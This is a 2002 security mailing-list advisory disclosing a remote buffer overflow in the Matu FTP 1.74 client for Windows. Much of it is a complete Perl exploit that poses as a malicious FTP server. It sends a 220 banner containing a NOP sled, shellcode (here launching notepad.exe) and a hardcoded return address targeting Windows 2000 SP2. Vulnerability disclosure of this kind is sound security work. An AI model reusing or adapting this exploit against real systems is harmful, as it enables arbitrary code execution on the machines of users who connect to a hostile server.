[EXPL] Matu FTP Remote Buffer Overflow Vulnerability

From: support@securiteam.com
Date: 04/23/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 23 Apr 2002 21:20:53 +0200 (CEST)

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  Matu FTP Remote Buffer Overflow Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://plaza20.mbn.or.jp/~matuhome/> Matu FTP is a Japanese FTP client
software for Win32 Platform. An exploitable buffer overflow problem has
been found. The buffer overflow allows execution of arbitrary code.

DETAILS

Vulnerable systems:
Matu FTP version 1.74

The buffer overflow occurs when a long string like
220 AAAAAAAAAAAAAAAAA.....AAAAAAAAAAAAAAA<CR><LF>
is received by Matu FTP in the beginning of an FTP session. This
vulnerability allows malicious FTP server to execute an arbitrary code on
client hosts.

Exploit code:
#!/usr/local/bin/perl

#------------------------------------------------------
# Matu Ftp Version 1.74 exploit for Windows2000 Professional (SP2)
# ( run under inetd )
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#------------------------------------------------------
$|=1;

        #egg written by UNYUN (http://www.shadowpenguin.org/)
$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

        #egg_address = 0x0012F43C
$buf = "\x90" x 217;
$buf .= $egg;
$buf .= "A" x 2;
$buf .= "\x3C\xF4\x12\x00";
$buf .= "B" x 80;

print "220 $buf\r\n";

ADDITIONAL INFORMATION

The information has been provided by <mailto:anvil@jumperz.net> Kanatoko.

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